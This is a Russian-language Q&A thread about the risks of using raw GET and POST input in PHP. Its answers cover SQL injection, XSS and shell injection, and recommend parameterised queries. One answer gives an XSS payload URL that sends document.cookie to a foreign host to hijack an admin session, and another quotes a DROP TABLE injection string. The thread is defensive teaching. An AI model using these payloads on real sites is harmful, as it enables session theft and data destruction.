Каковы уязвимости в прямом использовании GET и POST? - PullRequest
9 голосов
/ 19 августа 2009

Я хочу знать , каковы уязвимости при непосредственном использовании переменных GET и POST. то есть без функции обрезки и добавления косой черты, а также escape-строки mysql в этом роде.

Мой вопрос

Что еще нужно позаботиться о во время игры с GET и POST.

Какие существуют атаки , такие как SQL-инъекция?

Ответы [ 8 ]

15 голосов
/ 19 августа 2009

В целом, не ограничиваясь GET и POST, но также любыми данными, поступающими извне системы (включая файлы cookie в случае веб-приложений):

Практически все уязвимости сводятся к тому, что «пользователь может запускать любой код по своему усмотрению в контексте, в который вы передаете свои данные».

  • Если вы передадите его в базу данных SQL, он сможет запустить любой SQL, какой пожелает.
  • Если вы передадите его в HTML-документ, они могут добавить любую понравившуюся разметку (включая JavaScript)
  • Если вы передадите его в системную оболочку, они могут выполнить любую системную команду, какую захотят.
  • Если вы откроете файл с выбранным именем, они смогут открыть любой файл, который им нравится. и т.д.

Вам нужно подумать о том, что вы делаете с данными. Поиск списка возможных вещей, которые могут пойти не так, если принимать нечистые данные в любой системе мира, не даст исчерпывающего списка.

И в качестве отступления: забудьте о добавлении косой черты (это не эффективно), забудьте о mysql_real_escape (слишком легко ошибиться с ним). Используйте параметризованные запросы: Как я могу предотвратить внедрение SQL в PHP?

5 голосов
/ 19 августа 2009

Самая простая из возможных XSS-атак с минимальной социальной инженерией

Предположим, у вас есть простое PHP-приложение, которое использует сессии для отслеживания пользователей. И у него есть некоторый интерфейс администратора, где пользователи с более высокими привилегиями могут, например, редактировать контент.

И давайте предположим, что вы вошли в систему как администратор этого сайта и что внутри этого приложения есть файл request.php со следующим фрагментом кода

echo $GET['action'];

И теперь кто-то обнаруживает это, конструирует следующий URL http://yourapp/request.php?action=document.location.href=' http://foreignsite? C = '+ document.cookie

Затем кто-то добавляет этот URL-адрес на tinyurl.com, который сокращает его до чего-то вроде http://tinyurl.com/x44534,, а затем отправляет вам электронное письмо с сообщением: «Эй, посмотрите на это, вы можете найти его полезным».

Вы нажимаете на ссылку, tinyurl.com переводит короткий URL-адрес обратно в длинный, перенаправляет ваш браузер на него, ваш request.php с радостью выводит Javascript из запроса, ваш браузер видит его, выполняет его и в результате человек, который запускает http://foreignsite, получает все ваши куки.

Тогда ему просто нужно вставить эти значения cookie в свой браузер, и вот, у него есть мгновенный доступ к интерфейсу администратора вашего сайта. Потому что он получил твое сессионное печенье.

Здесь описана простейшая возможная атака XSS, она действительно упрощенная, вероятно, не будет работать в реальной жизни, но, надеюсь, вы поняли основную идею, как она работает.

1 голос
/ 19 августа 2009

Как уже писали люди, любой пользовательский ввод должен рассматриваться как вредоносный , независимо от того, насколько безопасным вы себя чувствуете.

Разработчики думают о защите кода в то время, когда они пишут его, и когда они вносят изменения, в то время как хакеры думают о том, чтобы испортить этот код всякий раз, когда они решают взломать его, что может быть сегодня, завтра или в два раза. года. То, что могло показаться совершенно безопасным в то время, когда код был написан, может оказаться пригодным для использования в более поздний момент.

По сути, все входные данные должны быть тщательно отфильтрованы, проверены и санированы независимо от того, для чего они используются в любой момент времени. Кто-то может пропустить санацию части пользовательского ввода, потому что «она не будет использоваться для чего-либо, что может причинить вред», а затем через 11 месяцев кто-то в команде решит использовать предположительно санированные данные, которые были назначены переменной, в запросе SQL или системном вызове exec, и вся система удаляется.

Что нужно сделать:

белый список вместо черного списка - знать, какие типы ввода вы ожидаете, и соответственно конвертировать пользовательские данные. Идентификаторы обычно целые числа, поэтому безопасно преобразовать все переданные пользователем идентификаторы в целые числа. - знать, когда вы ожидаете небольших объемов данных, а когда ожидаете больших. Личные имена обычно относительно короткие и не содержат цифр "1 '; DROP TABLE клиентов;" это не настоящее имя, и вы можете знать это без добавления косой черты.

затем внесите в черный список на всякий случай - применить стандартную логику экранирования ко всем данным, внесенным в белый список, на всякий случай

затем отфильтруйте и проверьте еще - пока не почувствуешь себя в безопасности

1 голос
/ 19 августа 2009

Если вы берете какую-либо переменную GET или POST и эффективно «выполняете» ее, не пропуская ее через какой-то фильтр, вы открываете себя для инъекционных атак. SQL-инъекция, очевидно, является очень распространенным случаем, но если вы делаете какой-либо eval() с этими данными (на языке программирования или в любой другой базе данных или в интерпретируемой ситуации), включая передачу HTML обратно в браузер для интерпретации на клиент), а затем знающие злоумышленники могут создать входные данные, которые заставят ваше приложение выполнять непреднамеренные действия.

0 голосов
/ 20 августа 2009

Все суперглобалы могут управляться пользовательскими агентами. $ _SERVER, $ _POST, $ _GET и т. Д.

0 голосов
/ 19 августа 2009

GET и POST данные - это данные, напрямую отправленные пользователем. Вы получаете все это без каких-либо проверок или проверок между пользователем и вашей программой. Даже если вы должны были проверить форму, которая должна исходить от данных, злоумышленник может вручную создать запрос с любыми данными, которые он хочет. Таким образом, вы всегда должны обрабатывать данные запроса как ненадежный пользовательский ввод.

Существует ряд атак, в которых кодер забывает, что данные запроса ненадежны, но самым известным является SQL-инъекция. Основной причиной внедрения SQL-кода является построение запроса путем объединения строк вручную, некоторые из которых являются ненадежным пользовательским вводом. Это означает, что вы указываете своей базе данных выполнить ненадежный ввод данных пользователем.

Наивным решением для внедрения SQL-кода является проверка входных данных, а затем их объединение в строку запроса, но это тоже плохая форма. Вы полагаетесь на свою логику проверки, чтобы сделать строку безопасной, и если вы ее неправильно используете - или логика глючит, - то вы снова подвергаетесь атакам.

Правильное решение - отделить ваш запрос от содержащихся в нем данных. Практически все адаптеры баз данных поддерживают этот подход, и если ваш по какой-то причине не подходит, он не пригоден для использования. Наиболее распространенная идиома (без определенного языка):

myDB.query ("выберите * из материала, где id =?", [42]);

Это гарантирует (в такой системе), что параметры не выполняются. Строка запроса построена из полностью доверенных данных, а ненадежные данные отделены. В худшем случае этот подход, применяемый к неправильному вводу, может привести к неверным данным, а не к неправильной команде.

Этот подход к предотвращению внедрения SQL-кода подчеркивает центральный принцип, который применяется ко всем видам атак данных запроса: данные запроса не ваши и не безопасны. При обработке любого пользовательского ввода, включая данные запроса, всегда предполагайте, что оно исходит от злоумышленника с глубокими знаниями вашей системы. Это может показаться параноиком, но это держит вас в безопасности.

0 голосов
/ 19 августа 2009

Это распространяется не только на "получить" или "пост". Все зависит от программирования, которое вы сделали для их поддержки. Если вы просто обслуживаете статическую HTML-страницу, не так много уязвимостей. Если, с другой стороны, вы устанавливаете и изменяете данные с помощью запросов get, уязвимости могут быть бесконечными, просто посмотрите, как бот Google удаляет данные из мест, которые использовали «get» для отправки вещей.

Все зависит от того, для чего вы используете данные, а уязвимые места ограничены в получении или установке. Санитарно-гигиенические условия.

0 голосов
/ 19 августа 2009
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...